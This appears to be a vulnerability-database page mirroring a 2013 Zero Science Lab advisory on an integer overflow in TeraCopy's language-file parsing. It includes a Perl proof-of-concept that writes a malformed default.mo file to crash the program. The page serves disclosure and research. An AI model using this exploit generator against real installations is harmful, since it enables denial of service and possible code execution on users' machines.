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TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability

🗓️ 18 Sep 2013 00:00:00Reported by Gjoko KrsticHigh five to Acka and the DV8 teamType 
zeroscience
 zeroscience🔗 www.zeroscience.mk👁 34 Views

TeraCopy Language File Integer Overflow Vulnerability allows arbitrary code execution and denial-of-service. Affected versions include 2.27 and 2.3 beta 2 on Windows

Code
<html><body><p>#!J:\Perl\bin\perl.exe
#
#
# TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability
#
#
# Vendor: Code Sector
# Product web page: http://www.codesector.com
# Affected version: 2.27 and 2.3 beta 2
#
# Summary: TeraCopy is designed to copy and move files at the maximum
# possible speed. It skips bad files during the copying process, and
# then displays them at the end of the transfer so that you can see
# which ones need attention. TeraCopy can automatically check the copied
# files for errors by calculating their CRC checksum values. It also
# provides a lot more information about the files being copied than its
# Windows counterpart. TeraCopy integrates with Windows Explorer's
# right-click menu and can be set as the default copy handler.
#
# Desc: TeraCopy is prone to an integer overflow vulnerability because
# it fails to perform adequate boundary checks when reading language files.
# Successfully exploiting this issue may allow local attackers to execute
# arbitrary code in the context of the application. Failed exploit attempts
# will cause denial-of-service conditions.
#
# Tested on: Microsoft Windows Server 2008 R2 EN (64-bit)
#            Microsoft Windows 7 Ultimate SP1 EN (32-bit)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2013-5155
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5155.php
#
#
# 13.09.2013
#


$file = "default.mo";

print "\n
        ...................................................
        .                                                 .
        .  Code Sector TeraCopy 2.3 Integer Overflow PoC  .
        .                                                 .
        .                                                 .
        .               ID: ZSL-2013-5155                 .
        .                                                 .
        ...................................................
       \n";

$patter = "\xDE\x12\x04\x95\x20\x20\x20\x20\xB5\x20\x20\x20\x1C\x20\x20\x20".
          "\xC4\x05\x20\x20\xF1\x20\x20\x20\x6C\x0B\x20\x20\x20\x20\x20\x20".
          "\x30\x0F\x20\x20\x1D\x20\x20\x20\x31\x0F\x20\x20\x1A\x20\x20\x20".
          "\x4F\x0F\x20\x20\x1C\x20\x20\x20\x6A\x0F\x20\x20\x12\x20\x20\x20".
          "\x87\x0F\x20\x20\x25\x20\x20\x20\x9A\x0F\x20\x20\x0F\x20\x20\x20".
          "\xC0\x0F\x20\x20\x08\x20\x20\x20\xD0\x0F\x20\x20\x03\x20\x20\x20".
          "\xD9\x0F\x20\x20\x15\x20\x20\x20\xDD\x0F\x20\x20\x1C\x20\x20\x20".
          "\xF3\x0F\x20\x20\x10\x20\x20\x20\x10\x10\x20\x20\x0F\x20\x20\x20".
          "\x21\x10\x20\x20\x46\x20\x20\x20\x31\x10\x20\x20\x03\x20\x20\x20".
          "\x78\x10\x20\x20\x09\x20\x20\x20\x7C\x10\x20\x20\x0A\x20\x20\x20".
          "\x86\x10\x20\x20\x0D\x20\x20\x20\x91\x10\x20\x20\x16\x20\x20\x20".
          "\x9F\x10\x20\x20\x2B\x20\x20\x20\xB6\x10\x20\x20\x06\x20\x20\x20".
          "\xE2\x10\x20\x20\x06\x20\x20\x20\xE9\x10\x20\x20\x09\x20\x20\x20".
          "\xF0\x10\x20\x20\x0D\x20\x20\x20\xFA\x10\x20\x20\x0F\x20\x20\x20".
          "\x08\x11\x20\x20\x06\x20\x20\x20\x18\x11\x20\x20\x11\x20\x20\x20".
          "\x1F\x11\x20\x20\x19\x20\x20\x20\x31\x11\x20\x20\x19\x20\x20\x20".
          "\x4B\x11\x20\x20\x10\x20\x20\x20\x65\x11\x20\x20\x08\x20\x20\x20".
          "\x76\x11\x20\x20\x30\x20\x20\x20\x7F\x11\x20\x20\x05\x20\x20\x20".
          "\xB0\x11\x20\x20\x26\x20\x20\x20\xB6\x11\x20\x20\x0C\x20\x20\x20".
          "\xDD\x11\x20\x20\x04\x20\x20\x20\xEA\x11\x20\x20\x07\x20\x20\x20".
          "\xEF\x11\x20\x20\x0D\x20\x20\x20\xF7\x11\x20\x20\x05\x20\x20\x20".
          "\x05\x12\x20\x20\x06\x20\x20\x20\x0B\x12\x20\x20\x18\x20\x20\x20".
          "\x12\x12\x20\x20\x11\x20\x20\x20\x2B\x12\x20\x20\x0C\x20\x20\x20".
          "\x3D\x12\x20\x20\x27\x20\x20\x20\x4A\x12\x20\x20\x10\x20\x20\x20".
          "\x72\x12\x20\x20\x0B\x20\x20\x20\x83\x12\x20\x20\x17\x20\x20\x20".
          "\x8F\x12\x20\x20\x17\x20\x20\x20\xA7\x12\x20\x20\x32\x20\x20\x20".
          "\xBF\x12\x20\x20\x13\x20\x20\x20\xF2\x12\x20\x20\x07\x20\x20\x20".
          "\x06\x13\x20\x20\x18\x20\x20\x20\x0E\x13\x20\x20\x1A\x20\x20\x20".
          "\x27\x13\x20\x20\x16\x20\x20\x20\x42\x13\x20\x20\x1C\x20\x20\x20".
          "\x59\x13\x20\x20\x04\x20\x20\x20\x76\x13\x20\x20\x0F\x20\x20\x20".
          "\x7B\x13\x20\x20\x25\x20\x20\x20\x8B\x13\x20\x20\x05\x20\x20\x20".
          "\xB1\x13\x20\x20\x0C\x20\x20\x20\xB7\x13\x20\x20\x09\x20\x20\x20".
          "\xC4\x13\x20\x20\x16\x20\x20\x20\xCE\x13\x20\x20\x05\x20\x20\x20".
          "\xE5\x13\x20\x20\x0E\x20\x20\x20\xEB\x13\x20\x20\x04\x20\x20\x20".
          "\xFA\x13\x20\x20\x07\x20\x20\x20\xFF\x13\x20\x20\x04\x20\x20\x20".
          "\x07\x14\x20\x20\x13\x20\x20\x20\x0C\x14\x20\x20\x09\x20\x20\x20".
          "\x20\x14\x20\x20\x19\x20\x20\x20\x2A\x14\x20\x20\x09\x20\x20\x20".
          "\x44\x14\x20\x20\x14\x20\x20\x20\x4E\x14\x20\x20\x0D\x20\x20\x20".
          "\x63\x14\x20\x20\x0F\x20\x20\x20\x71\x14\x20\x20\x15\x20\x20\x20".
          "\x81\x14\x20\x20\x09\x20\x20\x20\x97\x14\x20\x20\x13\x20\x20\x20".
          "\xA1\x14\x20\x20\x0F\x20\x20\x20\xB5\x14\x20\x20\x62\x20\x20\x20".
          "\xC5\x14\x20\x20\x06\x20\x20\x20\x28\x15\x20\x20\x09\x20\x20\x20".
          "\x2F\x15\x20\x20\x04\x20\x20\x20\x39\x15\x20\x20\x28\x20\x20\x20".
          "\x3E\x15\x20\x20\x04\x20\x20\x20\x67\x15\x20\x20\x08\x20\x20\x20".
          "\x6C\x15\x20\x20\x04\x20\x20\x20\x75\x15\x20\x20\x04\x20\x20\x20".
          "\x7A\x15\x20\x20\x04\x20\x20\x20\x7F\x15\x20\x20\x07\x20\x20\x20".
          "\x84\x15\x20\x20\x0D\x20\x20\x20\x8C\x15\x20\x20\x14\x20\x20\x20".
          "\x9A\x15\x20\x20\x05\x20\x20\x20\xAF\x15\x20\x20\x1F\x20\x20\x20".
          "\xB5\x15\x20\x20\x07\x20\x20\x20\xD5\x15\x20\x20\x07\x20\x20\x20".
          "\xDD\x15\x20\x20\x08\x20\x20\x20\xE5\x15\x20\x20\x21\x20\x20\x20".
          "\xEE\x15\x20\x20\x09\x20\x20\x20\x10\x16\x20\x20\x0A\x20\x20\x20".
          "\x1A\x16\x20\x20\x0B\x20\x20\x20\x25\x16\x20\x20\x1C\x20\x20\x20".
          "\x31\x16\x20\x20\x0A\x20\x20\x20\x4E\x16\x20\x20\x0B\x20\x20\x20".
          "\x59\x16\x20\x20\x11\x20\x20\x20\x65\x16\x20\x20\x0D\x20\x20\x20".
          "\x77\x16\x20\x20\x09\x20\x20\x20\x85\x16\x20\x20\x0D\x20\x20\x20".
          "\x8F\x16\x20\x20\x0F\x20\x20\x20\x9D\x16\x20\x20\x0E\x20\x20\x20".
          "\xAD\x16\x20\x20\x05\x20\x20\x20\xBC\x16\x20\x20\x06\x20\x20\x20".
          "\xC2\x16\x20\x20\x25\x20\x20\x20\xC9\x16\x20\x20\x18\x20\x20\x20".
          "\xEF\x16\x20\x20\x0B\x20\x20\x20\x08\x17\x20\x20\x0E\x20\x20\x20".
          "\x14\x17\x20\x20\x13\x20\x20\x20\x23\x17\x20\x20\x0A\x20\x20\x20".
          "\x37\x17\x20\x20\x3C\x20\x20\x20\x42\x17\x20\x20\x15\x20\x20\x20".
          "\x7F\x17\x20\x20\x06\x20\x20\x20\x95\x17\x20\x20\x06\x20\x20\x20".
          "\x9C\x17\x20\x20\x0A\x20\x20\x20\xA3\x17\x20\x20\x14\x20\x20\x20".
          "\xAE\x17\x20\x20\x07\x20\x20\x20\xC3\x17\x20\x20\x06\x20\x20\x20";

$invptr = "\x41\x41" x 707; ################################################;

open fp, "&gt;./$file" || die "\n[-] Can't open $file: $!\n\n";
print fp $patter.$invptr; close fp;
print "\n\n\x20\x20\x1A\x20File \"$file\" created successfully!\x20";
$file = -s $file; print "($file bytes)\n\n";
</p></body></html>

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18 Sep 2013 00:00Current
6.2Medium risk
Vulners AI Score6.2
teracopyinteger overflowarbitrary codedenial-of-servicevulnerabilitycode sectorwindowsexploitzero science lab
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